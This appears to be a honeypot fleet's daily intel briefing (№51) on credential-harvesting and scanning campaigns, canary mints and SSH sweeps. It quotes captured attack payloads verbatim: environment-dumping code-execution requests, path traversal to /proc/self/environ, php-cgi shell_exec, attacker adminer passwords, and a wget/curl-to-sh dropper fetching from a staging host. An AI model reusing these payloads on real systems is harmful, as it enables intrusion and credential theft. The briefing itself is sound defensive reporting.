FLUX FLEET — INTEL BRIEFING №51

Period: 2026-10-13 07:34 – 2026-10-14 07:34 UTC (24h, day 49 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 49-day baseline, all 13 result-tag spikes attributed, both mint-side record and use-side silence verified against Tracebit)

BLUF

METADATA-HUNT returned after three runner-absent windows with a new single-runner shape: 35.253.66.111 (Google Cloud US) ran a 650-event, 310-path burst on canary-farm-1 under ~30 forged AI-crawler user agents, mounted a captured code-execution chain that asks every decoy for its environment variables, and minted 41 canaries in about 12 seconds — the fleet's single-IP mint record. The mint→use funnel went quiet: 102 credentials went to 26 collector IPs and none reached AWS, the first zero-use window after №50's record use. ORACLE-SWEEP ran a fourth window under its honest WebSiphon/next-0.1 UA but with a rebuilt census: 788 paths against lauterbourg's vhost/admin/LLM surface in 8 seconds, with no .env families at all. CONFIG-SWEEP's 87.120.104.29 returned to ru-edge (3,000 events, 1,642 paths, 12 mints — the campaign's biggest mint run) and drove ru-edge +128%. The netcup/sponge volume spikes are the benign Ruhr-Universität Bochum crawler's second window, and frantech held flat only because MEGA-DICT's 18th replay (13,565 paths, +11) fills the node.

Key Judgements

1. METADATA-HUNT's return is an escalation, not a routine census. The runner mounted a full code-execution chain in one 12-second pass — terminal-xhr.php with command=env&password=bypass&csrf=x, a langflow @exec(subprocess…env) probe, /api/fs/exec {"command":"env"}, php-cgi shell_exec('env 2>/dev/null || set 2>nul'), and file-read decoys pointed at .env and /proc/self/environ — and minted 41 credentials, a fleet single-IP record. Its №44–№45 kin self-used minted canaries within hours. (High confidence — journey, bodies, and the mint table tie all 41 mints to this IP inside the burst window.)
2. The Proton /24 is running the census-and-mint playbook again. 159.26.110.149 (Proton AG PL) ran the same shape as №14's 159.26.110.179 — the fleet's first successful credential user — under the same curl/8.22.0 + Go-http-client/1.1 UA pair: a 96-path AI/config census on control-1 in 3.5 seconds with 2 mints at /.env, then a slower ru-edge leg. (Moderate confidence — playbook and UA match are observed; operator identity is a /24-level inference, not proof.)
3. The zero-use window is inventory growth, not de-escalation. 102 fresh credentials across 26 collectors, 0 AWS events — while three campaigns minted (METADATA-HUNT 41, CONFIG-SWEEP 12, INFOCREST-KIT 7) and the standing hoards grew (45.148.10.171 to 51/6d). Use-side silence with mint-side records is the pattern the funnel exists to catch. (High confidence — Tracebit alerts are the only use witness; none fired.)
4. This cycle's big volume moves are two censuses, a replay, and benign research scanning. ru-edge +128% is CONFIG-SWEEP's 3,000-event return (72% of the node). netcup +169% and sponge +144% are the Bochum softsec crawler's second window (4,060 and 2,762 events — now on the benign list). frantech's −3% hides MEGA-DICT's 13,565-path replay (95% of the node). Only canary-farm's +15% is hostile-driven growth, and it is the METADATA-HUNT burst. (High confidence — every mover is attributed to a named actor or the benign list.)

Active Campaigns (day 49 status)

METADATA-HUNT (GCP template sweeps → code-exec + mint) ⟳ — RETURN, NEW RUNNER SHAPE (Hostile, active)

• Actors: 35.253.66.111 (Google LLC, US) — canary-farm-1 only, 650 events / 310 paths / 64 families / 41 POSTs in one burst, 10:37:15 EDT 10-13 onward. Fresh IP; the named-runner roster (34.124.231.201, 136.117.52.210) stayed out.
• TTPs: ~30 forged AI-crawler UA rotation (Bravebot, ChatGPT-User, cohere-ai, Qwenbot, bingbot, Amazonbot, KimiBot, MoonshotBot, Perplexity-User, Claude-User, GrokBot, Baiduspider, DeepSeekBot, Hunyuan, Meta-ExternalFetcher, Meta-WebIndexer, DuckAssistBot, YouBot, CCBot, Bytespider, ChatGLM-Spider, GPTBot, Kimi-SearchBot, OAI-SearchBot, plus Safari-with-Applebot and Chrome-mobile-with-Googlebot composites). Journey: tarpit → robots.txt → random 20-char paths (one literally /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show) → IaC/AI census (docker-compose ×4 variants, firebase-json ×4, terraform-tfstate, gitlab-ci, github-actions-workflow, gcp-credentials-json) → graphql introspection ×3 (/graphql, /api/graphql, /v1/graphql, 86 B each) → multipart form-logins (455 B bodies, boundary r2s1qb6wxdnftid4, JSON {"then":"$1: …) → the code-exec chain, all environment harvesting, bodies verbatim:
  • POST /lib/terminal-xhr.php and /icecoder/lib/terminal-xhr.php [code-exec-api-exec]: command=env&password=bypass&csrf=x
  • POST /read-document [code-exec-api-read]: {"file_path":"/proc/self/environ"} and {"file_path":".env"}
  • POST /api/v1/validate/code [code-exec-api-validate]: {"code":"@exec('raise Exception(__import__(\"subprocess\").check_output(\"env 2>… (langflow RCE shape)
  • POST /api/fs/exec: {"command":"env","args":[]}
  • POST /api/designer/v1/file-content: the same .env / environ read pair
  • POST /api/templates/preview: {"templateFile":"../../../../proc/self/environ"} and {"templateFile":"../../../../.env"}
  • POST /index.php, /php-cgi/php-cgi.exe, /cgi-bin/php-cgi.exe, /cgi-bin/php, /cgi-bin/php-cgi [cmd-injection-php-cgi-rce]: <?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>
  • POST /bin/sh [cgi-traversal-rce-command]; n8n /webhook-test/ + /webhook/, flowise customMCP, inngest DELETE 405s. Mints: /.env [issued] under the Applebot forgery — 41 mints at 10:37, all tied to this IP; 0 mint failures.
• Assessment: every code-exec decoy was asked one question — print your environment — the signature of cloud-credential harvesting from process env. The 41-mint haul is the campaign's hoard play at record scale; prior kin self-used within hours, so these 41 are live hostile-held inventory until TTL. The fleet's code-exec decoys returned 200s and logged every body, and none leaked a real environment — the design held.

PROTON-CENSUS (census-and-mint on the Proton /24) ⚠ NEW (Hostile, active)

• Actors: 159.26.110.149 (Proton AG, PL) — control-1 163 events / 96 paths / 48 families in 3.5 s (13:14:07–13:14:10 EDT, curl/8.22.0) + ru-edge-1 165 events over 72 min (13:14–14:26 EDT, Go-http-client/1.1 + curl/8.22.0). Same /24 as №14's 159.26.110.179, the fleet's first successful credential user.
• TTPs: fast control pass, slow ru-edge pass. Families: env-production ×24, claude-config/claude-credentials/claude-history ×8 each, codex-config-toml, app-config-php/python/yaml, aws-credentials-file/aws-config-file, firebase-json, terraform-tfstate/tfvars, kubeconfig, rclone-conf, s3cfg, bash-history/zsh-history, sql-dump ×12, fake-git ×12, wp-config ×12, appsettings-json ×9. Mints: control /.env [issued] ×2; the ru-edge /.env mint failed with ClientConnectorError: Cannot connect to host community.tracebit.com:443 … Connection reset by peer — a transient egress failure, the window's only mint failure.
• Assessment: the /24's playbook — census, mint at /.env, then AWS-side validation — ran again under a fresh IP with the same UA pair. The 2 held credentials have no observed AWS use yet; in №14 this /24 used its first canary within hours of minting. Watch Tracebit, not flux logs.

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — ZERO USE (Hostile, active)

• Actors: mint side 102 credentials to 26 collector IPs. Use side: none — 0 alerts, 0 AWS events.
• TTPs: funnel 102/26/0. Mint failures: 1 (the PROTON-CENSUS ru-edge connection reset above; no 400/401 anywhere). All-time issued-row counter 2,245. Hoards: 45.148.10.171 51/6d (19th consecutive minting window, touched all 8 sensors), 87.120.104.29 18/6d (CONFIG-SWEEP), 35.253.66.111 41 fresh (METADATA-HUNT), 206.209.210.3 10/6d (fifth consecutive minting window), 140.245.97.208 9/6d across 4 sensors, 80.94.95.211 returned (2 mints on ai-devbox-1, 6/6d), 109.205.176.10 6/6d, and OMEGA-SWEEP pool singles 94.154.43.135 + 94.154.43.180 (1 each — first pool mints since №21).
• Assessment: the untraced held-credential queue grew by 102 while the use side watched nothing. The three biggest fresh batches belong to named hostile campaigns — their TTL windows are the watch item.

ORACLE-SWEEP (Oracle-range census, WebSiphon/next-0.1) ⟳ — FOURTH WINDOW, SURFACE PIVOT (Hostile, active)

• Actors: 163.192.99.99 (Oracle Corporation, US) — lauterbourg-01-ts only, 873 events / 788 distinct paths in 8 seconds (23:08:54–23:09:02 EDT), 1 UA, 0 POSTs. Fresh IP; no roster overlap with №49–№50.
• TTPs: honest UA WebSiphon/next-0.1 intact, but the census rebuilt: not-handled ×730 + kiteworks-asset ×28 + kiteworks-shell ×3 + kiteworks-root-redirect/kiteworks-session-probe + LLM-endpoint probes (ollama-tags, ollama-chat, ollama-generate, llm-endpoint-models-list, llm-endpoint-openai-chat ×1 each) + k8s-serviceaccount-token/-ca-cert + docker-daemon-version/-info + observability-health/-metrics + webapp-form-signup/-profile. No .env-class families, 0 mints. Drove lauterbourg +38%.
• Assessment: same tool, new target model. The operator mapped the one fleet surface without .env decoys and censused its vhost, admin, and LLM stack instead. The campaign's 5 held canaries are unchanged; whether the .env core returns in parallel is the next-window read.

CONFIG-SWEEP (single-operator config census, forged Googlebot) ⟳ — RETURN, BIGGEST MINT RUN (Hostile, active)

• Actors: 87.120.104.29 (Sino Worldwide Trading, NO) — ru-edge-1 only, 3,000 events / 1,642 paths / 140 families in two passes (11:39 and 19:31 EDT), forged Googlebot/2.1. Not blocklisted.
• TTPs: the registered template at full width — env-production ×357, app-config-python 52 / -php 44 / -yaml 42, the actuator-* family, rails-*, k8s-secret-manifest ×24, terraform-tfstate/tfvars, firebase-json ×18, AWS/GCP/Azure credential files, ssh-private-key-error ×56, webshell-probe ×51, fake-git ×38, phpmyadmin-login ×22. 12 mints issued at /.env-class paths (18/6d) — the campaign's largest mint run, after №30's 6 and the №33 promotion run.
• Assessment: census-to-mint conversion is now this operator's pattern. The 18 held credentials plus the widest census on record make ru-edge the cycle's most-worked canary node; drove 6 of its 7 result-tag spikes.

INFOCREST-KIT (composite adminer/wp-batch kit) ⟳ — EIGHTH OPERATOR, FLEET-WIDE (Hostile, active)

• Actors: 173.249.253.116 (tzulo, US) — second consecutive window, now on SIX sensors (647 events, 07:20–08:21 EDT); NEW 103.214.20.135 (Host Universal Pty, AU) — FIVE sensors (971 events, 01:12–05:48 EDT, 7 mints: ai-devbox-1 3, canary-farm-1 3, ru-edge-1 1).
• TTPs: identical 16-UA rotation on both operators (Chrome 105–107 across three platforms, Firefox 105/106, Safari 16, bare stripped Chrome, python-requests/2.32.5). Composite anatomy per node: tarpit cycling → phpmyadmin-login (70 on .135's farm leg) → adminer prod_rw POSTs (body verbatim: auth%5Bdriver%5D=server&auth%5Bserver%5D=&auth%5Busername%5D=prod_rw&auth%5Bpassword%5D=OQn1pAvGlHfGzKFLtLBqRw&auth%5Bdb%5D=, one password reused across /adminer.php, /adminer/adminer.php, /admin/adminer.php) → webapp-config-bundle-js census → wp-batch-multiplex + tomcat-path-bypass-env ×35 → webapp-form-login with user=root&pass=wrong → kiteworks legs on lauterbourg. No phpunit verify or dropper body captured.
• Assessment: two operators ran the same kit, wordlist, and UA set on 11 sensor-legs in one window — the kit is shared tooling with a rotating operator base. The 7 mints are the kit's second-largest haul; watch them for AWS use.

GOWEB-PENTEST (self-labeled Go phpMyAdmin hammer) ⟳ — FIRST REPEAT OPERATOR (Hostile, active)

• Actors: 172.104.173.62 (Linode / Akamai Connected Cloud, SG) returned to lauterbourg-01-ts — 151 GETs / 1 path in 49 s, 04:52 EDT. NEW 148.72.159.98 — lauterbourg-01-ts, 151 / 1 in 16 s, 18:47 EDT. (130.12.180.32 added 2 singles.)
• TTPs: unchanged — Go Web Pentest Tool UA, one phpMyAdmin login path per pass, GET-only, 0 POSTs, 0 mints. The pair owns lauterbourg's 304-event phpmyadmin-login spike (5.3×).
• Assessment: eleventh and twelfth windows, thirteenth and fourteenth operator IPs, and the first return by a known operator — the fleet's phpMyAdmin decoys sit on a circulating list that nodes re-enter. A captured credential body remains the missing evidence for intent.

MEGA-DICTIONARY (shared IoT dropper-URL dictionary) ⟳ — EIGHTEENTH REPLAY (Hostile, active)

• Actors: 185.209.196.130 (31173 Services AB, DE, ipsum:2) on frantech-ts — the ASN's third replay host (№30: 185.213.155.227, №34: 193.32.126.191).
• TTPs: 13,565 events / 13,565 distinct paths in 2 min (02:10–02:12 EDT 10-14), GET-only, router/IoT UA set (sample: ASUS RT-AC68U Wireless AC1900), no companion probes, 0 mints. Wordlist +11 vs №50's 13,554. The replay's WordPress legs also fed the digest's "new" wp cluster (see WP-FORM-BRUTE).
• Assessment: another growth replay under a fresh host from a known operator ASN — the dictionary is a shared artifact that keeps absorbing current dropper infrastructure names. The deception surface absorbed it at zero cost.

WP-FORM-BRUTE (distributed wp-login brute) ⟳ — TWELFTH WINDOW + NEW WP-ADMIN LEG (Hostile, active)

• Actors: standing pool e6e6f15a77e8 — 196 IPs / 588 events (ai-devbox-1 + canary-farm-1). NEW leg 09d3f351065c (first seen 10-14) — 21 IPs / 168 events on ai-devbox-1 + canary-farm-1 under forged Chrome/146–152.
• TTPs: probe → credential POST → probe unchanged. NEW: after the credential stage, the walk continues into the authenticated area — /wp-admin/profile.php [wp-admin-redirect] → /wp-admin/ [wp-admin-redirect] — plus wp-rest-auth-required probes. Node totals: canary-farm-1 wp-admin-redirect 44 (12.6×) + wp-rest-auth-required 39 (6.5×); ai-devbox-1 wp-login-credentials 79 (4.1×) + wp-login-probe 164 (5.0×). MEGA-DICT's replay (185.209.196.130, router UAs) crossed the same wp paths. No mints; below the 200-pair growth alarm.
• Assessment: the pool added a logged-in-area probe — the decoys' redirect responses are teaching the tool the shape of a real admin panel. A return with cookie headers would be the next escalation; the growth alarm stays armed.

LIBREDTAIL-KIT (phpunit RCE chain) ⟳ — NINTH WINDOW, DROPPER CAPTURED (Hostile, active)

• Actors: 84.46.241.102 — lauterbourg-01-ts 21:59 EDT + canary-farm-1 02:55 EDT, 49 events each, honest UA libredtail-http.
• TTPs: the registered chain with the dropper finally on the wire: md5("Hello PHPUnit") probes across 20+ eval-stdin.php directory permutations → cmd-injection-php-cgi-rce POSTs <?php shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1C… (decodes to cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----B… — the ed25519 key-exfil success oracle) → POST /bin/sh [cmd-injection-apache-cgi-shell] dropper, verbatim: (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh. 217.60.102.5 is the third staging host in 217.60.0.0/16 (after 217.60.195.113 and 217.60.103.56). 0 mints; fake webshells and tarpits held.
• Assessment: the execution-hunting kit's payload is now measurable — first dropper capture since the early windows, and the staging rotation inside one /16 is confirmed as the pattern.

EMPERORS-KIT (self-labeled EmperorsTools webshell kit) ⟳ — SECOND WINDOW, FULL KIT (Hostile, active)

• Actors: 150.241.66.127 (Kyonix Networks, US) — the original and only operator — on canary-farm-1 (03:56–04:24 EDT), control-1 (04:20–05:54), ai-devbox-1 (04:23–05:33); ~40 events / 17 paths / 5 UAs each.
• TTPs: the full registered anatomy re-observed: adminer prod_rw POSTs with six fresh 22-char passwords (flw0ybNwcMrR…, 8n7L-H_P4axL…, LNLaD4RxnOOe…, BvUDA5SKvmxI…, eUQtHEMAADpq…, DKRfooWR5c_S…) → phpunit verify <?php echo "EmperorsTools";?> → dropper <?php copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php','emperorstools… — the public, token-less repo whose copy() can succeed if the repo is live (liveness not re-tested this cycle). 0 mints.
• Assessment: second consecutive window with the whole chain — the operator is on cadence and the kit is intact. Repo liveness is the watch item.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — ~12-RUNNER WAVE (Borderline, active)

• Actors: DigitalOcean-class runners with the 27-family journey: 64.227.32.66 (ai-devbox-1), 206.189.95.232 + 206.189.233.36 + 157.245.204.205 + 167.99.182.39 + 167.172.232.142 (canary-farm-1), 143.244.168.161 + 146.190.63.248 (ru-edge-1), 159.89.12.166 + 146.190.242.161 (control-1), 139.59.132.8 + 142.93.0.66 (ai-devbox-1; .66 also farm, minted 1+1). l9explore 45.138.12.51 (Tc Datacenter LT): 1 mint on control-1, 7/6d. ~13 mint rows from the class at 1 per runner.
• TTPs: unchanged 27-family journey (tarpit → WebLogic console → Confluence → WHM/cPanel → docker-registry), 1 mint per runner at /.env.
• Assessment: the repeat-minter base persists behind the rotating roster (167.99.182.39 3/6d, 157.245.204.205 4/6d, 206.189.95.232 4/6d, 206.189.233.36 3/6d, 167.172.232.142 3/6d, 146.190.63.248 3/6d, 64.227.32.66 4/6d). Borderline per registry — a public leak-scanning service, reported separately from criminal actors.

MEVSPACE-GITWALK (git-internals walk) ⟳ — FIFTH OPERATOR (Hostile, active)

• Actors: 209.50.174.90 — ru-edge-1, 144 events / 142 paths in 6.3 s (02:33 EDT 10-14), honest UA git/2.40.0 — the template's first git-client UA (prior operators used stale Firefox/78).
• TTPs: /.git/HEAD → /.git/ → branches/hooks internals walk; 143 of ru-edge's 191 fake-git events (4.3× spike). 0 mints.
• Assessment: the walk keeps circulating under fresh operators and now a fresh UA class; the served decoy HTML keeps feeding it.

BUCKLOG-KIT census arm ⟳ — NETCUP LEG (Hostile, active)

• Actors: 161.178.140.14 (Amazon, US) on netcup-ts — 191 events / 53 paths / 12 POSTs in 2.5 min (02:03 EDT), forged Chrome/123. 185.177.72.64 (№49's multi-egress minter) touched lauterbourg-01-ts (258 events / 254 paths, 04:54–04:56 EDT).
• TTPs: gravitysmtp-* census (mock-data ×3, settings ×2, config, miss) + openapi-spec-json-skeleton ×2 + phpunit-eval-stdin ×2 + webshell sweep. 0 mints.
• Assessment: the census arm keeps rotating across deception nodes; .64's presence keeps the /24's use-side watch (№49's 4-egress run) alive.

Watch-class singles (no campaign yet)

• 193.32.126.169 (31173 Services AB, DE — MEGA-DICT's ASN), UA wsn: 109 events across canary-farm-1 / control-1 / ai-devbox-1 (10:29–11:07 EDT) — app-config-yaml ×36 + kubeconfig ×33 + appsettings-json ×20 + application-yml ×15 + azure-node-json ×5; 0 mints, 0 POSTs. Small config census from the replay host's ASN; promote on a mint or a repeat. Two templates in one window from one ASN again (tzulo did it in №50).
• 206.209.210.3 — fifth consecutive minting window (3 mints on farm, 10/6d): still the only collector repeating past three.
• 45.148.10.238 (CREDSWEEP, Techoff NL) — third window of the return arc: control-1 179 events / 16 POSTs (04:39–04:42 EDT) + 1 mint.
• First-time/standing singles: 9.160.105.39 (1 mint, aidev, 20:01), 13.68.158.199 (Azure, 1 mint, 2/6d), 109.205.176.10 (1 mint ru-edge, 6/6d), 140.245.97.208 (4 mints across 4 sensors, 9/6d), 94.154.43.135/.180 (OMEGA pool singles).
• First-seen inventory (03:15 sync-arrival cluster — owners not attributed this cycle): control-1's crypto-trading configs (/config_freqtrade.json, /metamask-vault.json, /hummingbot.yml, /.dockerconfigjson), canary-farm-1's Terraform/SES set (/*.auto.tfvars, /.terraform.rc, /.env.ses, /config/environment.json, /utils/.env), ru-edge-1's OpenAPI trio (/api/v3/openapi.json, /dist/openapi.json, /openapi.min.json) + /seed.txt + /vr5oyk7sbt1qt3u6, lauterbourg's /hosts.yml, /site.zip, /tests/, /configuration.yaml, /sql/phpmy-admin/index.php, netcup's /livewire/update. New UA families: Knoppix/Kubuntu/ZZ; Linux browser forgeries (ru-edge + sponge), Meta-ExternalFetcher (inside METADATA-HUNT's rotation).
• Tarpit pools — 3e1c5eb879e7 85 IPs / 595 events; ef1ab74f3d57 7 / 343; 218630667b2c 7 / 295; 7ea1125e0232 5 / 70. TOKEN-CRAWLER pool 45.198.224.x touched all 8 sensors again (.124 89 ev, .125 72) — 0 mints.
• Benign fixed-cadence probers — 80.82.77.202 (441 ev, 7 sensors), 89.248.172.33 (379, 7), 93.174.93.12, 3.129.187.38, 34.140.3.155 (38, all 8), 172.232.133.233 (8, all 8): unchanged shapes.

Absent or paused

SI-CENSUS (first absence since the №50 return; the block's 33 held credentials unchanged), AKAMAI-VHOST-SCAN (second — the kiteworks vhost carried ORACLE-SWEEP's pivot pass instead), ATLASSIAN-REST-PROBE (third), NIGHTAGENT (sixth), KEYHUNT (sixth), OMEGA-SWEEP /46 census (eleventh; the pool singles minted, the census did not), CF-FRONTED CREDSWEEP (eleventh), ENVRC-SWEEP, GIT-VAULT (third), XMLRPC-BRUTE (silent), LEAKIX-SSH (network layer; fingerprint absent), ZKILLU-GITWALK, LLM-ENDPOINT-PROBE, SONICWALL-VPN-PROBE, SS-Net 80.94.92.65 (absent; sibling 80.94.95.211 returned with 2 mints), METADATA-HUNT's named-runner roster.

Standing actors (persistence check)

• 45.148.10.171 — nineteenth consecutive minting window (4+4+2+1 mint rows across ai-devbox-1, canary-farm-1, control-1, ru-edge-1); hoard 51/6d, still zero AWS use; light passes on all 8 sensors. The fleet's longest-running collector.
• 204.76.203.18 (Pfcloud) — MALWARE-DICT loop, day 22+ on control-1: 2,082 events / 578 paths (58% of the node). Sibling .219 touched all 8 sensors (24 events).
• 206.209.210.3 — fifth consecutive minting window (3 mints, 10/6d). Still the only collector on record repeating past three.
• 87.120.104.29 — second window in six days (№47 → №51), now with the campaign's biggest mint run.
• 173.249.253.116 — second consecutive window on the INFOCREST kit, node coverage doubled to six.
• REGISTRY-HUNT repeat minters — 157.245.204.205 (4/6d), 206.189.95.232 (4/6d), 64.227.32.66 (4/6d), 167.99.182.39 (3/6d), 206.189.233.36 (3/6d), 167.172.232.142 (3/6d), 146.190.63.248 (3/6d): the collector base persists behind roster rotation.
• TOKEN-CRAWLER /24 + tarpit pools — constant background; the pool touched all 8 sensors again.
• Bochum softsec crawler (185.73.23.161 finn + .162 goose) — second window, now on the benign list: 4,060 of netcup's 5,114 events and 2,762 of sponge's 3,697.

Network-layer recon (Arkime) — 2026-10-13 07:34:00 → 2026-10-14 07:34:31 UTC

Fingerprint field ssh.hassh, destination port 22 · 78,154 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 48,140, bahrain-sponge-01-ts 25,756, sensor:bahrain-sponge-01-ts 25,756, sensor:ru-vps-01-ts 14,046, sensor:lauterbourg-01-ts 9,337, contabo-sponge-02-ts 6,631

Flagged sweeps (2) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 5,217 sessions from 280 source IPs across 136 networks in 47 countries, port 22, avg 4,900 B/session. Networks: AS8075 Microsoft Corporation, AS4766 Korea Telecom, AS150436 Byteplus Pte. Ltd., AS16276 OVH SAS, AS132203 Tencent Building, Kejizhongyi Avenue. Busiest sources: 103.72.56.174, 147.90.234.13, 197.248.8.33, 220.250.52.101, 45.120.216.232. Last 7 days: 10-08 309 IPs, 10-09 317 IPs, 10-10 344 IPs, 10-11 303 IPs, 10-12 319 IPs, 10-13 283 IPs, 10-14 102 IPs.
• 0a07365cc01fa9fc82608ba4019af499 — client banner ssh-2.0-go, 22,460 sessions from 92 source IPs across 36 networks in 24 countries, port 22, avg 5,082 B/session. Networks: AS209854 Cyberzone S.A., AS213790 Limited Network LTD, AS205089 Alfahost LLC, AS208137 Feo Prest SRL, AS48090 Techoff Srv Limited. Busiest sources: 192.253.248.216, 109.160.32.157, 77.239.124.149, 109.160.32.147, 77.239.124.148. Last 7 days: 10-08 66 IPs, 10-09 88 IPs, 10-10 116 IPs, 10-11 90 IPs, 10-12 81 IPs, 10-13 97 IPs, 10-14 39 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. GO-SSH-SWEEP (0a07365cc01f…) held the dispersed threshold: 22,460 sessions (−17% from №50's record 27,067) but from its widest source set in five windows — 92 IPs / 36 networks (from 72 / 20). Volume spread beyond the 109.160.32.x /24: the busiest sources now split between 109.160.32.x, 77.239.124.x, and 192.253.248.216, and AS48090 Techoff Srv Limited — the ASN behind CREDSWEEP's 45.148.10.x — appears in the sweep's network list. The /24's uname survey did not appear in the hp command table (second consecutive decouple). LIBSSH-MASSSWEEP (f555226df196…) held its ~280–310-IP plateau on day 25 (5,217 sessions / 136 networks). 16443846184e… grew sessions +21% (10,271 → 12,398) at 38 IPs / 27 networks — still below the 50-IP floor, still netcup's top fingerprint at 17 days, still unnamed. 084386fa7ae5… stayed distributed (67 sessions / 52 IPs). New in the table: a591c4ddccc9… (180 sessions / 22 IPs / 8 networks, single-source) — below thresholds, unnamed, watch. New session tag contabo-sponge-02-ts (6,631 sessions): a ninth sensor is provisioning in Arkime ahead of any flux logs — infrastructure, not a campaign.

Canary credentials

Summary

No canary credentials were used in AWS during the window. Fleet sensors minted 102 credentials to 26 collector IPs; none reached AWS. Use outcomes: 0 success, 0 failure.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 45.148.10.171: 51 mints, 2026-10-07 03:44 → 2026-10-14 01:51
• 35.253.66.111: 41 mints, 2026-10-13 10:37 → 2026-10-13 10:37
• 34.124.231.201: 40 mints, 2026-10-10 04:05 → 2026-10-10 04:05
• 87.120.104.29: 18 mints, 2026-10-09 06:12 → 2026-10-13 19:31
• 80.94.92.65: 14 mints, 2026-10-07 19:42 → 2026-10-11 17:52
• 209.159.155.142: 12 mints, 2026-10-11 01:40 → 2026-10-11 02:15
• 2a02:c207:2350:9697::1: 11 mints, 2026-10-12 08:22 → 2026-10-12 17:08
• 206.209.210.3: 10 mints, 2026-10-10 08:02 → 2026-10-13 22:04
• 208.84.100.218: 10 mints, 2026-10-09 04:22 → 2026-10-12 17:51
• 140.245.97.208: 9 mints, 2026-10-07 06:30 → 2026-10-13 15:51
• 169.58.180.111: 9 mints, 2026-10-12 08:22 → 2026-10-12 17:08
• 168.119.64.101: 8 mints, 2026-10-07 06:48 → 2026-10-07 13:20
• 173.249.253.116: 8 mints, 2026-10-12 23:08 → 2026-10-13 07:24
• 103.214.20.135: 7 mints, 2026-10-14 01:15 → 2026-10-14 05:45
• 167.99.79.44: 7 mints, 2026-10-12 17:35 → 2026-10-12 17:54
• 45.138.12.51: 7 mints, 2026-10-08 00:50 → 2026-10-13 20:31
• 102.220.161.139: 6 mints, 2026-10-12 09:24 → 2026-10-12 09:59
• 109.205.176.10: 6 mints, 2026-10-08 03:34 → 2026-10-13 17:09
• 150.241.66.127: 6 mints, 2026-10-08 18:17 → 2026-10-08 18:55
• 213.209.159.175: 6 mints, 2026-10-07 11:02 → 2026-10-12 19:47
• 45.153.34.39: 6 mints, 2026-10-07 12:42 → 2026-10-08 02:14
• 80.94.95.211: 6 mints, 2026-10-08 02:50 → 2026-10-13 20:10
• 105.115.6.147: 5 mints, 2026-10-07 21:06 → 2026-10-08 15:27
• 128.199.182.55: 5 mints, 2026-10-08 20:14 → 2026-10-11 20:05
• 146.190.103.103: 5 mints, 2026-10-07 20:01 → 2026-10-09 20:10
• 160.177.245.67: 5 mints, 2026-10-08 07:57 → 2026-10-08 09:04
• 167.71.81.114: 5 mints, 2026-10-08 19:29 → 2026-10-12 20:41
• 139.59.231.238: 4 mints, 2026-10-07 20:33 → 2026-10-12 19:58
• 157.245.204.205: 4 mints, 2026-10-08 18:42 → 2026-10-13 20:27
• 167.99.210.137: 4 mints, 2026-10-07 20:25 → 2026-10-10 20:28
• 206.189.95.232: 4 mints, 2026-10-07 19:54 → 2026-10-13 20:04
• 209.99.188.170: 4 mints, 2026-10-07 17:51 → 2026-10-09 18:35
• 213.209.159.154: 4 mints, 2026-10-08 04:55 → 2026-10-11 01:02
• 64.227.32.66: 4 mints, 2026-10-08 20:15 → 2026-10-13 20:47
• 68.183.9.16: 4 mints, 2026-10-08 18:46 → 2026-10-10 02:21
• 105.115.5.210: 3 mints, 2026-10-07 19:34 → 2026-10-07 20:24
• 143.110.213.72: 3 mints, 2026-10-07 20:25 → 2026-10-11 19:57
• 146.190.63.248: 3 mints, 2026-10-08 18:42 → 2026-10-13 20:08
• 157.245.113.227: 3 mints, 2026-10-08 17:32 → 2026-10-11 20:07
• 157.245.204.205: 3 mints, 2026-10-08 18:42 → 2026-10-11 20:35
• 167.172.232.142: 3 mints, 2026-10-10 19:58 → 2026-10-13 20:38
• 167.99.182.39: 3 mints, 2026-10-09 19:48 → 2026-10-13 20:47
• 172.93.215.8: 3 mints, 2026-10-11 00:27 → 2026-10-12 16:55
• 206.189.225.181: 3 mints, 2026-10-08 19:33 → 2026-10-09 21:06
• 206.189.233.36: 3 mints, 2026-10-09 23:12 → 2026-10-13 20:47
• 209.38.208.202: 3 mints, 2026-10-08 19:33 → 2026-10-10 20:44
• 217.60.76.167: 3 mints, 2026-10-10 03:42 → 2026-10-12 10:00
• 64.227.70.2: 3 mints, 2026-10-09 19:46 → 2026-10-12 20:30

